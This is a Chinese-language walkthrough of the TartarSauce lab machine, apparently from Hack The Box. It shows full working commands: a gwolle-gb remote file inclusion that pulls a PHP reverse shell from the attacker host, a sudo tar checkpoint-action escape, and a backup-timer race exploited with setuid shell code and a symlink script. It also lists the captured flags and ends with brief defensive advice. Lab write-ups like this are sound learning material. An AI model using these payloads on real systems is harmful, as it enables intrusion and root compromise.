[Meachines] [Medium] TartarSauce Wordpress-gwolle-gb-RFI+tar权限提升+定时器备份文件权限提升
字数 1144 2025-08-19 12:40:41
WordPress gwolle-gb插件漏洞利用与权限提升实战
1. 目标信息收集
1.1 基础扫描
- 目标IP: 10.10.10.88
- 开放端口: TCP 80 (HTTP)
- 服务识别: WordPress网站,包含gwolle-gb插件
nmap -p- 10.10.10.88 --min-rate 1000 -sC -sV
1.2 目录枚举
使用feroxbuster进行目录扫描:
feroxbuster --url http://10.10.10.88/
1.3 WordPress扫描
使用wpscan进行WordPress漏洞扫描:
wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 100
2. 初始访问 - gwolle-gb插件远程文件包含(RFI)漏洞利用
gwolle-gb插件存在远程文件包含漏洞,位于:
/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php
2.1 漏洞验证
curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/test'
2.2 获取反向shell
- 准备PHP反向shell:
cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php
- 触发漏洞获取shell:
curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/'
3. 权限提升 - 从www-data到onuma用户
3.1 获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
3.2 检查sudo权限
sudo -l
发现可以使用onuma用户权限执行tar命令:
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
3.3 获取onuma用户权限
执行上述tar命令获取onuma shell:
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
获取user flag:
1895da47f6758f6ddf1f8c8ea61b4c4a
4. 权限提升 - 从onuma到root
4.1 发现定时任务
系统中存在一个名为"backuperer.service"的systemd定时器,每隔几分钟运行一次。
查找相关文件:
find / -name backuperer 2>/dev/null
查看备份脚本内容:
cat /usr/sbin/backuperer
4.2 备份脚本分析
关键变量:
basedir=/var/www/html # 备份源目录
bkpdir=/var/backups # 备份文件保存目录
tmpdir=/var/tmp # 临时目录
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1) # 随机命名的临时备份文件
check=$tmpdir/check # 检查目录
备份流程:
- 清理临时目录:
/bin/rm -rf $tmpdir/.* $check - 以onuma权限创建备份:
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir & - 等待30秒
- 创建检查目录:
/bin/mkdir $check - 解压备份文件:
/bin/tar -zxvf $tmpfile -C $check - 检查完整性:比较
$basedir和$check$basedir
4.3 漏洞利用方法
漏洞存在于解压步骤,可以在备份文件被创建后但被解压前替换文件内容。
方法一:创建setuid二进制文件
- 准备setuid.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/sh");
}
- 编译:
sudo apt install gcc-multilib
gcc -m32 -o setuid setuid.c
chmod 4755 setuid
- 创建恶意tar包:
mkdir -p var/www/html
mv setuid ./var/www/html
tar -zcvf setuid.tar.gz var/
- 上传到目标:
wget http://10.10.16.24/setuid.tar.gz
- 等待备份文件创建后替换:
cp setuid.tar.gz .0d2369d13e9d34f9b994242d49e4446197b2ef18
- 执行setuid程序:
/var/tmp/check/var/www/html/setuid
方法二:利用符号链接读取root flag
- 准备exp.sh脚本:
#!/bin/bash
# exp.sh
# work out of shm
cd /dev/shm
# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")
# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" ]
do
sleep 10
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")
done
# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .
# get filename
fn=$(echo $cur | cut -d'/' -f4)
# extract archive
tar -zxf $fn
# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt
# remove old archive
rm $fn
# create new archive
tar czf $fn var
# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var
# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt
- 上传并执行:
wget http://10.10.16.24/exp.sh
chmod +x exp.sh
./exp.sh
- 从错误日志中获取root flag:
6d1a541ae753613c68668f1ed114ffc9
5. 关键时间窗口
整个利用过程需要在5分钟内完成,因为:
- 备份脚本会在30秒后开始解压
- 完成后会清理临时文件
- 如果超过时间窗口,check目录会被删除
6. 防御建议
- 更新gwolle-gb插件到最新版本
- 限制tar命令的sudo权限
- 对备份脚本进行安全加固:
- 使用固定名称的临时文件
- 增加文件完整性检查
- 减少时间窗口
- 定期审计系统定时任务和sudo权限